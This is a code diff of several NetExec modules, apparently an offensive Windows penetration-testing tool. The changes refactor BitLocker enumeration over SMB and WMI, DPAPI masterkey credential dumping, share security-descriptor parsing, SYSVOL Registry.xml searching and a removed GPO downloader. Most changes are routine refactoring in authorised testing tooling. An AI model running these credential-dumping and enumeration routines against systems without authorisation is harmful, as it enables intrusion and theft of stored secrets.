|
||||
rpc_transport.set_credentials(
|
||||
connection.username,
|
||||
connection.password,
|
||||
connection.domain,
|
||||
connection.lmhash,
|
||||
connection.nthash,
|
||||
connection.aesKey,
|
||||
)
|
||||
rpc_transport.set_kerberos(connection.kerberos, connection.kdcHost)
|
||||
|
||||
dce = rpc_transport.get_dce_rpc()
|
||||
dce.connect()
|
||||
dce.bind(srvs.MSRPC_UUID_SRVS)
|
||||
|
||||
# SRVS RPC requires null-terminated strings
|
||||
rpc_share = f"{share_name}\x00"
|
||||
rpc_path = f"\\{path.replace('/', chr(92))}\x00"
|
||||
|
||||
raw = srvs.hNetrpGetFileSecurity(dce, rpc_share, rpc_path, sec_info_flags)
|
||||
dce.disconnect()
|
||||
|
||||
return ldaptypes.SR_SECURITY_DESCRIPTOR(raw)
|
||||
|
||||
|
||||
def parse_dacl_aces(sd, sid_resolver=None):
|
||||
"""Parse ACEs from a security descriptor's DACL into structured data.
|
||||
|
||||
Args:
|
||||
sd: An SR_SECURITY_DESCRIPTOR (from impacket ldaptypes).
|
||||
sid_resolver: Optional callable that takes a SID string and returns
|
||||
a human-readable name. If None, SID names are left as empty strings.
|
||||
|
||||
Returns:
|
||||
A dict with keys:
|
||||
owner: {"sid": str, "name": str}
|
||||
group: {"sid": str, "name": str}
|
||||
aces: list of {"ace_type": str, "sid": str, "sid_name": str, "permissions": list[str], "raw_mask": int}
|
||||
If there is no DACL, the ``aces`` list will be empty.
|
||||
"""
|
||||
owner_sid = sd["OwnerSid"].formatCanonical() if sd["OwnerSid"] else ""
|
||||
group_sid = sd["GroupSid"].formatCanonical() if sd["GroupSid"] else ""
|
||||
|
||||
result = {
|
||||
"owner": {"sid": owner_sid, "name": sid_resolver(owner_sid) if sid_resolver and owner_sid else ""},
|
||||
"group": {"sid": group_sid, "name": sid_resolver(group_sid) if sid_resolver and group_sid else ""},
|
||||
"aces": [],
|
||||
}
|
||||
|
||||
if not sd["Dacl"]:
|
||||
return result
|
||||
|
||||
for i in range(sd["Dacl"]["AceCount"]):
|
||||
ace = sd["Dacl"]["Data"][i]
|
||||
ace_type = ace["TypeName"]
|
||||
access_mask = int(ace["Ace"]["Mask"]["Mask"])
|
||||
sid = ace["Ace"]["Sid"].formatCanonical()
|
||||
|
||||
permissions = [mask_name for mask_value, mask_name in ACCESS_MASK_TO_TEXT_LOOKUP.items() if access_mask & mask_value]
|
||||
|
||||
sid_name = ""
|
||||
if sid_resolver:
|
||||
sid_name = sid_resolver(sid)
|
||||
|
||||
result["aces"].append({
|
||||
"ace_type": ace_type,
|
||||
"sid": sid,
|
||||
"sid_name": sid_name,
|
||||
"permissions": permissions,
|
||||
"raw_mask": access_mask,
|
||||
})
|
||||
|
||||
return result
|
||||
+116
-141
@@ -1,141 +1,116 @@
|
||||
import re
|
||||
from impacket.dcerpc.v5.dcom import wmi
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.dcomrt import DCOMConnection
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "bitlocker"
|
||||
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USAGE:
|
||||
|
||||
NetExec smb <IP> -u <username> -p <password> -M bitlocker
|
||||
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
|
||||
"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if context.protocol == "smb":
|
||||
bitlocker_smb = BitLockerSMB(context, connection)
|
||||
bitlocker_smb.check_bitlocker_status()
|
||||
elif context.protocol == "wmi":
|
||||
bitlocker_wmi = BitLockerWMI(context, connection)
|
||||
bitlocker_wmi.check_bitlocker_status()
|
||||
|
||||
|
||||
class BitLockerSMB:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# PowerShell command to check BitLocker volumes status.
|
||||
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
|
||||
|
||||
try:
|
||||
# Executing the PowerShell command to get BitLocker volumes status.
|
||||
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
|
||||
|
||||
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
|
||||
self.context.log.fail("BitLockerVolume not found on target.")
|
||||
return
|
||||
|
||||
# Splitting the output into lines.
|
||||
lines = str(check_bitlocker_command_str_output).splitlines()
|
||||
data_lines = [line for line in lines if re.match(r"\w:", line)]
|
||||
|
||||
for line in data_lines:
|
||||
# Checking every line for starting with drive
|
||||
if line[1] == ":":
|
||||
parts = line.split()
|
||||
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
|
||||
|
||||
# Checking if BitLocker is enabled.
|
||||
if protection_status == "On":
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
|
||||
else:
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
|
||||
except Exception as e:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
|
||||
|
||||
class BitLockerWMI:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
try:
|
||||
# Create a DCOM connection
|
||||
dcom_conn = DCOMConnection(
|
||||
self.connection.host,
|
||||
self.connection.username,
|
||||
self.connection.password,
|
||||
self.connection.domain,
|
||||
self.connection.lmhash,
|
||||
self.connection.nthash,
|
||||
oxidResolver=True,
|
||||
doKerberos=self.connection.kerberos,
|
||||
kdcHost=self.connection.kdcHost)
|
||||
|
||||
try:
|
||||
# CoCreateInstanceEx for WMI login
|
||||
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
|
||||
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
|
||||
|
||||
# Specify the namespace for BitLocker
|
||||
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
|
||||
|
||||
# NTLM login for WMI
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
|
||||
|
||||
# Set authentication level
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
# Query to get BitLocker status
|
||||
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
|
||||
encryptionTypeMapping = {
|
||||
0: "None",
|
||||
1: "AES_128_WITH_DIFFUSER",
|
||||
2: "AES_256_WITH_DIFFUSER",
|
||||
3: "AES_128",
|
||||
4: "AES_256",
|
||||
5: "HARDWARE_ENCRYPTION",
|
||||
6: "XTS_AES_128",
|
||||
7: "XTS_AES_256_WITH_DIFFUSER"
|
||||
}
|
||||
|
||||
try:
|
||||
while True:
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
|
||||
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
|
||||
if iWbemClassObject[0].ProtectionStatus == 1:
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
|
||||
else:
|
||||
if encryptionMethod == 0: # Should be 0 if disabled
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
|
||||
except Exception:
|
||||
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
|
||||
|
||||
# Release resources
|
||||
iWbemLevel1Login.RemRelease()
|
||||
iWbemServices.RemRelease()
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
if "WBEM_E_INVALID_NAMESPACE" in str(e):
|
||||
self.context.log.fail("BitLockerNamespace not found on target.")
|
||||
dcom_conn.disconnect()
|
||||
except Exception as e:
|
||||
self.context.log.error(f"Error occurred during BitLocker check: {e}")
|
||||
dcom_conn.disconnect()
|
||||
import re
|
||||
from impacket.dcerpc.v5.dtypes import NULL
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "bitlocker"
|
||||
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
|
||||
supported_protocols = ["smb", "wmi"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self, context=None, module_options=None):
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
USAGE:
|
||||
|
||||
NetExec smb <IP> -u <username> -p <password> -M bitlocker
|
||||
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
|
||||
"""
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if context.protocol == "smb":
|
||||
bitlocker_smb = BitLockerSMB(context, connection)
|
||||
bitlocker_smb.check_bitlocker_status()
|
||||
elif context.protocol == "wmi":
|
||||
bitlocker_wmi = BitLockerWMI(context, connection)
|
||||
bitlocker_wmi.check_bitlocker_status()
|
||||
|
||||
|
||||
class BitLockerSMB:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# PowerShell command to check BitLocker volumes status.
|
||||
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
|
||||
|
||||
try:
|
||||
# Executing the PowerShell command to get BitLocker volumes status.
|
||||
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
|
||||
|
||||
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
|
||||
self.context.log.fail("BitLockerVolume not found on target.")
|
||||
return
|
||||
|
||||
# Splitting the output into lines.
|
||||
lines = str(check_bitlocker_command_str_output).splitlines()
|
||||
data_lines = [line for line in lines if re.match(r"\w:", line)]
|
||||
|
||||
for line in data_lines:
|
||||
# Checking every line for starting with drive
|
||||
if line[1] == ":":
|
||||
parts = line.split()
|
||||
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
|
||||
|
||||
# Checking if BitLocker is enabled.
|
||||
if protection_status == "On":
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
|
||||
else:
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
|
||||
except Exception as e:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
|
||||
|
||||
class BitLockerWMI:
|
||||
def __init__(self, context, connection):
|
||||
self.context = context
|
||||
self.connection = connection
|
||||
|
||||
def check_bitlocker_status(self):
|
||||
# Reuse the wmi protocol's authenticated IWbemLevel1Login instead of
|
||||
# creating a second DCOMConnection to the same target (whose disconnect
|
||||
# would clash with the protocol's own)
|
||||
try:
|
||||
iWbemLevel1Login = self.connection.iWbemLevel1Login
|
||||
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
|
||||
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
|
||||
iWbemLevel1Login.RemRelease()
|
||||
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
|
||||
|
||||
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
|
||||
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
|
||||
encryptionTypeMapping = {
|
||||
0: "None",
|
||||
1: "AES_128_WITH_DIFFUSER",
|
||||
2: "AES_256_WITH_DIFFUSER",
|
||||
3: "AES_128",
|
||||
4: "AES_256",
|
||||
5: "HARDWARE_ENCRYPTION",
|
||||
6: "XTS_AES_128",
|
||||
7: "XTS_AES_256_WITH_DIFFUSER"
|
||||
}
|
||||
|
||||
try:
|
||||
while True:
|
||||
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
|
||||
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
|
||||
if iWbemClassObject[0].ProtectionStatus == 1:
|
||||
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
|
||||
else:
|
||||
if encryptionMethod == 0: # Should be 0 if disabled
|
||||
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
|
||||
except Exception:
|
||||
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
|
||||
|
||||
iWbemServices.RemRelease()
|
||||
except Exception as e:
|
||||
if "WBEM_E_INVALID_NAMESPACE" in str(e):
|
||||
self.context.log.fail("BitLockerNamespace not found on target.")
|
||||
else:
|
||||
self.context.log.exception(f"Exception occurred: {e}")
|
||||
@@ -1,4 +1,5 @@
|
||||
from impacket.dcerpc.v5 import transport, rprn, even, epm
|
||||
from impacket.dcerpc.v5.rrp import DCERPCSessionError # ruff: ignore[unused-import] solves an issue with error handling of impacket not displaying the correct exception
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT, NDRPOINTER, NDRUniConformantArray, NDRPOINTERNULL
|
||||
from impacket.dcerpc.v5.dtypes import LPBYTE, USHORT, LPWSTR, DWORD, ULONG, NULL, WSTR, LONG, BOOL, PCHAR, RPC_SID
|
||||
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
|
||||
|
||||
@@ -1,15 +1,12 @@
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.masterkeys import MasterkeysTriage
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
# Based on dpapimk2john, original work by @fist0urs
|
||||
|
||||
|
||||
class NXCModule:
|
||||
name = "dpapi_hash"
|
||||
description = "Remotely dump Dpapi hash based on masterkeys"
|
||||
supported_protocols = ["smb"]
|
||||
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
@@ -19,33 +16,11 @@ class NXCModule:
|
||||
self.outputfile = module_options["OUTPUTFILE"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
username = connection.username
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
|
||||
target = Target.create(
|
||||
domain=connection.domain,
|
||||
username=username,
|
||||
password=password,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
lmhash=getattr(connection, "lmhash", ""),
|
||||
nthash=nthash,
|
||||
do_kerberos=connection.kerberos,
|
||||
aesKey=connection.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=getattr(connection, "use_kcache", False),
|
||||
)
|
||||
|
||||
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
|
||||
if conn is None:
|
||||
context.log.debug("Could not upgrade connection")
|
||||
return
|
||||
|
||||
try:
|
||||
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=target,
|
||||
conn=conn,
|
||||
target=connection.dpapi_triage.target,
|
||||
conn=connection.dpapi_triage.conn,
|
||||
)
|
||||
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
context.log.debug("Collecting user masterkeys")
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
from dploot.lib.target import Target
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
|
||||
|
||||
class NXCModule:
|
||||
|
||||
@@ -63,7 +63,7 @@ class NXCModule:
|
||||
if len(answers) > 0:
|
||||
context.log.success("Found following users: ")
|
||||
for answer in answers:
|
||||
context.log.highlight(f"User: {answer[0]} description: {answer[1]}")
|
||||
context.log.highlight(f"User: {answer[0]:<20} description: {answer[1]}")
|
||||
|
||||
def filter_answer(self, context, answers):
|
||||
# No option to filter
|
||||
|
||||
@@ -1,265 +0,0 @@
|
||||
import json
|
||||
import ntpath
|
||||
import re
|
||||
import shutil
|
||||
from datetime import datetime, timezone
|
||||
from pathlib import Path
|
||||
from impacket.dcerpc.v5.lsat import DCERPCSessionError
|
||||
from nxc.config import process_secret
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.ldap import parse_ldap_timestamp, query_ldap_gpos
|
||||
from nxc.helpers.smb import get_share_security_descriptor, parse_dacl_aces
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.protocols.smb.samrfunc import LSAQuery
|
||||
|
||||
GUID_PATTERN = re.compile(r"^\{[0-9A-Fa-f]{8}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{4}-[0-9A-Fa-f]{12}\}$")
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""Module by @Marshall-Hallenbeck
|
||||
Do things with Group Policy Objects (GPOs) in Active Directory
|
||||
"""
|
||||
|
||||
name = "gpos"
|
||||
description = "Do things with Group Policy Objects (GPOs) in Active Directory"
|
||||
supported_protocols = ["smb"]
|
||||
category = CATEGORY.ENUMERATION
|
||||
|
||||
def __init__(self):
|
||||
self.context = None
|
||||
self.module_options = None
|
||||
self.gpo_name = None
|
||||
self.fuzzy_search = False
|
||||
self.all_props = False
|
||||
self.download = True
|
||||
self.download_dest = "Retrieved_GPOs"
|
||||
self.list_permissions = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
NAME Name of the GPO (default retrieve all GPOs)
|
||||
FUZZY Fuzzy search for name of GPOs (using wildcards)
|
||||
ALL_PROPS Retrieve all properties of the GPO (default is name, guid, and sysfile path)
|
||||
DOWNLOAD Download the GPOs to the local machine (default is True)
|
||||
DEST Destination folder for downloaded GPOs (default is "Retrieved_GPOs")
|
||||
LIST_PERMISSIONS List permissions for the GPOs (default is False)
|
||||
"""
|
||||
self.gpo_name = module_options.get("NAME")
|
||||
self.fuzzy_search = module_options.get("FUZZY", "False").lower() == "true"
|
||||
self.all_props = module_options.get("ALL_PROPS", "False").lower() == "true"
|
||||
self.download = module_options.get("DOWNLOAD", "True").lower() == "true"
|
||||
self.download_dest = module_options.get("DEST", "Retrieved_GPOs")
|
||||
self.list_permissions = module_options.get("LIST_PERMISSIONS", "False").lower() == "true"
|
||||
context.log.debug(f"Module options: {self.gpo_name=}, {self.fuzzy_search=}, {self.all_props=}, {self.download=}, {self.download_dest=}, {self.list_permissions=}")
|
||||
|
||||
def on_login(self, context, connection):
|
||||
gpo_ldap_map = query_ldap_gpos(
|
||||
connection.host,
|
||||
connection.domain,
|
||||
connection.username,
|
||||
connection.password,
|
||||
connection.lmhash,
|
||||
connection.nthash,
|
||||
connection.aesKey,
|
||||
connection.kdcHost,
|
||||
connection.kerberos,
|
||||
context.log,
|
||||
)
|
||||
|
||||
if gpo_ldap_map is not None:
|
||||
context.log.display(f"Queried {len(gpo_ldap_map)} GPOs via LDAP, enumerating SYSVOL via SMB")
|
||||
else:
|
||||
context.log.display("LDAP query failed, falling back to SMB-only (names may show as 'Unknown')")
|
||||
|
||||
policies = connection.conn.listPath("SYSVOL", f"{connection.domain}\\Policies\\*")
|
||||
context.log.debug(f"Found policies path: {connection.domain}\\Policies")
|
||||
|
||||
gpos_found = []
|
||||
|
||||
for item in policies:
|
||||
item_name = item.get_longname()
|
||||
context.log.debug(f"Item: {item}, Item name: {item_name}")
|
||||
if item_name not in [".", ".."] and item.is_directory() and GUID_PATTERN.match(item_name):
|
||||
gpo_guid = item_name
|
||||
gpo_path = ntpath.join(f"{connection.domain}", "Policies", f"{gpo_guid}")
|
||||
|
||||
ldap_data = gpo_ldap_map.get(gpo_guid.upper()) if gpo_ldap_map else None
|
||||
display_name = ldap_data["displayName"] if ldap_data else self.get_gpo_display_name_from_sysvol(context, connection, gpo_path)
|
||||
|
||||
if self.gpo_name:
|
||||
match = self.gpo_name.lower() in display_name.lower() if self.fuzzy_search else self.gpo_name.lower() == display_name.lower()
|
||||
if not match:
|
||||
continue
|
||||
|
||||
gpos_found.append((gpo_guid, gpo_path, display_name, ldap_data))
|
||||
|
||||
context.log.success(f"GPO Found: '{display_name}'")
|
||||
context.log.highlight(f"Display Name: {display_name}")
|
||||
context.log.highlight(f"GUID: {gpo_guid}")
|
||||
context.log.highlight(f"GPO Path: \\\\SYSVOL\\{gpo_path}")
|
||||
|
||||
if self.all_props and ldap_data:
|
||||
context.log.highlight(f"Version: {ldap_data['versionNumber']}")
|
||||
context.log.highlight(f"Created: {parse_ldap_timestamp(ldap_data['whenCreated'])}")
|
||||
context.log.highlight(f"Modified: {parse_ldap_timestamp(ldap_data['whenChanged'])}")
|
||||
|
||||
if self.list_permissions:
|
||||
self.get_folder_security_info(context, connection, gpo_guid, gpo_path)
|
||||
|
||||
if self.download:
|
||||
context.log.display(f"Downloading GPO {gpo_guid} from SYSVOL share")
|
||||
gpo_dest = Path(self.download_dest) / gpo_guid
|
||||
self.download_gpo(context, connection, gpo_path, gpo_dest, gpo_guid)
|
||||
|
||||
context.log.success(f"GPOs Found: {len(gpos_found)}")
|
||||
|
||||
if gpos_found:
|
||||
self.save_gpo_loot(context, connection, gpos_found)
|
||||
|
||||
def save_gpo_loot(self, context, connection, gpos_found):
|
||||
"""Save GPO information to the NXC loot directory in text and JSON format."""
|
||||
loot_dir = Path(NXC_PATH) / "modules" / "gpos" / connection.domain / connection.host
|
||||
loot_dir.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
all_gpos_json = []
|
||||
|
||||
for gpo_guid, gpo_path, display_name, ldap_data in gpos_found:
|
||||
gpo_dir = loot_dir / gpo_guid
|
||||
gpo_dir.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
gpo_info = {
|
||||
"guid": gpo_guid,
|
||||
"displayName": display_name,
|
||||
"sysvolPath": f"\\\\SYSVOL\\{gpo_path}",
|
||||
}
|
||||
if ldap_data:
|
||||
gpo_info["versionNumber"] = ldap_data["versionNumber"]
|
||||
gpo_info["whenCreated"] = parse_ldap_timestamp(ldap_data["whenCreated"])
|
||||
gpo_info["whenChanged"] = parse_ldap_timestamp(ldap_data["whenChanged"])
|
||||
gpo_info["gPCFileSysPath"] = ldap_data["gPCFileSysPath"]
|
||||
|
||||
all_gpos_json.append(gpo_info)
|
||||
|
||||
json_path = gpo_dir / "info.json"
|
||||
with open(json_path, "w") as f:
|
||||
json.dump(gpo_info, f, indent=4)
|
||||
|
||||
txt_path = gpo_dir / "info.txt"
|
||||
with open(txt_path, "w") as f:
|
||||
f.write(f"Display Name: {display_name}\n")
|
||||
f.write(f"GUID: {gpo_guid}\n")
|
||||
f.write(f"SYSVOL Path: \\\\SYSVOL\\{gpo_path}\n")
|
||||
if ldap_data:
|
||||
f.write(f"Version: {ldap_data['versionNumber']}\n")
|
||||
f.write(f"Created: {parse_ldap_timestamp(ldap_data['whenCreated'])}\n")
|
||||
f.write(f"Modified: {parse_ldap_timestamp(ldap_data['whenChanged'])}\n")
|
||||
f.write(f"gPCFileSysPath: {ldap_data['gPCFileSysPath']}\n")
|
||||
|
||||
all_json_path = loot_dir / "gpos.json"
|
||||
with open(all_json_path, "w") as f:
|
||||
json.dump(all_gpos_json, f, indent=4)
|
||||
|
||||
all_txt_path = loot_dir / "gpos.txt"
|
||||
with open(all_txt_path, "w") as f:
|
||||
f.write(f"GPOs enumerated from {connection.domain} ({connection.host})\n")
|
||||
f.write(f"Date: {datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M:%S UTC')}\n")
|
||||
f.write(f"Total: {len(all_gpos_json)}\n")
|
||||
f.write("=" * 60 + "\n\n")
|
||||
for gpo in all_gpos_json:
|
||||
f.write(f"Display Name: {gpo['displayName']}\n")
|
||||
f.write(f"GUID: {gpo['guid']}\n")
|
||||
f.write(f"SYSVOL Path: {gpo['sysvolPath']}\n")
|
||||
if "versionNumber" in gpo:
|
||||
f.write(f"Version: {gpo['versionNumber']}\n")
|
||||
f.write(f"Created: {gpo['whenCreated']}\n")
|
||||
f.write(f"Modified: {gpo['whenChanged']}\n")
|
||||
f.write("-" * 60 + "\n\n")
|
||||
|
||||
context.log.display(f"GPO info saved to {loot_dir}")
|
||||
|
||||
def get_gpo_display_name_from_sysvol(self, context, connection, gpo_path):
|
||||
"""Try to get the display name of a GPO by reading GPT.ini from SYSVOL via SMB"""
|
||||
try:
|
||||
ini_path = f"{gpo_path}\\GPT.ini"
|
||||
context.log.debug(f"GPT.ini path: {ini_path}")
|
||||
ini_content = bytearray()
|
||||
|
||||
def callback(data):
|
||||
ini_content.extend(data)
|
||||
|
||||
connection.conn.getFile("SYSVOL", ini_path, callback)
|
||||
ini_text = ini_content.decode("utf-8", errors="replace")
|
||||
|
||||
for line in ini_text.splitlines():
|
||||
if line.lower().startswith("displayname="):
|
||||
return line.strip().split("=", 1)[1]
|
||||
|
||||
return "Unknown"
|
||||
except Exception as e:
|
||||
context.log.debug(f"Could not read GPO display name: {e}")
|
||||
return ntpath.basename(gpo_path)
|
||||
|
||||
def download_gpo(self, context, smb_conn, sysvol_path, dest_folder, guid):
|
||||
"""Download a GPO from the SYSVOL share using the appropriate method"""
|
||||
context.log.debug(f"Downloading GPO {guid} from {sysvol_path} to {dest_folder}")
|
||||
|
||||
original_share = smb_conn.args.share
|
||||
|
||||
try:
|
||||
smb_conn.args.share = "SYSVOL"
|
||||
smb_conn.download_folder(sysvol_path, dest_folder, recursive=True)
|
||||
context.log.success(f"GPO {guid} downloaded to {dest_folder}")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Error downloading GPO {guid}: {e}")
|
||||
if Path(dest_folder).exists():
|
||||
try:
|
||||
shutil.rmtree(dest_folder)
|
||||
except Exception as cleanup_error:
|
||||
context.log.debug(f"Error cleaning up directory: {cleanup_error}")
|
||||
|
||||
context.log.highlight("To manually download this GPO, use the following command:")
|
||||
context.log.highlight(f"nxc smb {smb_conn.host} -u '{smb_conn.username}' -p '{process_secret(smb_conn.password)}' --share SYSVOL --get-folder '{sysvol_path}' '{dest_folder}' --recursive")
|
||||
finally:
|
||||
smb_conn.args.share = original_share
|
||||
|
||||
def get_folder_security_info(self, context, connection, gpo_guid, gpo_path):
|
||||
"""Get security information for a GPO folder and analyze permissions."""
|
||||
context.log.debug(f"Getting security info for GPO path: {gpo_path}")
|
||||
|
||||
sd = get_share_security_descriptor(connection, "SYSVOL", gpo_path)
|
||||
context.log.success("Retrieved security information")
|
||||
|
||||
try:
|
||||
lsa_query = LSAQuery(connection=connection, logger=context.log)
|
||||
except Exception as lsa_error:
|
||||
context.log.debug(f"Error creating LSAQuery: {lsa_error}")
|
||||
return
|
||||
|
||||
def resolve_sid(sid):
|
||||
try:
|
||||
return lsa_query.lookup_sids([sid])[0]
|
||||
except DCERPCSessionError as e:
|
||||
context.log.debug(f"Error looking up SID {sid}: {e}")
|
||||
return "Unknown (potentially deleted user)"
|
||||
|
||||
parsed = parse_dacl_aces(sd, sid_resolver=resolve_sid)
|
||||
if not parsed:
|
||||
return
|
||||
|
||||
context.log.highlight(f"Security Descriptor for GPO {gpo_guid}:")
|
||||
|
||||
if parsed["owner"]["sid"]:
|
||||
context.log.highlight(f" Owner SID: {parsed['owner']['sid']} - {parsed['owner']['name']}")
|
||||
if parsed["group"]["sid"]:
|
||||
context.log.highlight(f" Group SID: {parsed['group']['sid']} - {parsed['group']['name']}")
|
||||
|
||||
if not parsed["aces"]:
|
||||
context.log.highlight(" No DACL found - no access restrictions")
|
||||
return
|
||||
|
||||
context.log.highlight(f" DACL: {len(parsed['aces'])} ACEs (Access Control Entries)")
|
||||
for i, ace in enumerate(parsed["aces"]):
|
||||
perm_str = ", ".join(ace["permissions"]) if ace["permissions"] else f"0x{ace['raw_mask']:08x}"
|
||||
context.log.highlight(f" ACE {i + 1}: {ace['ace_type']}")
|
||||
context.log.highlight(f" SID: {ace['sid']} - {ace['sid_name']}")
|
||||
context.log.highlight(f" Permissions: {perm_str}")
|
||||
@@ -15,45 +15,40 @@ class NXCModule:
|
||||
category = CATEGORY.CREDENTIAL_DUMPING
|
||||
|
||||
def options(self, context, module_options):
|
||||
""" """
|
||||
"""No options available."""
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
for share in shares:
|
||||
if share["name"] == "SYSVOL" and "READ" in share["access"]:
|
||||
context.log.success("Found SYSVOL share")
|
||||
context.log.display("Searching for Registry.xml")
|
||||
context.log.display("Searching SYSVOL share for Registry.xml")
|
||||
|
||||
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
|
||||
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
|
||||
for path in paths:
|
||||
context.log.display(f"Found {path}")
|
||||
|
||||
for path in paths:
|
||||
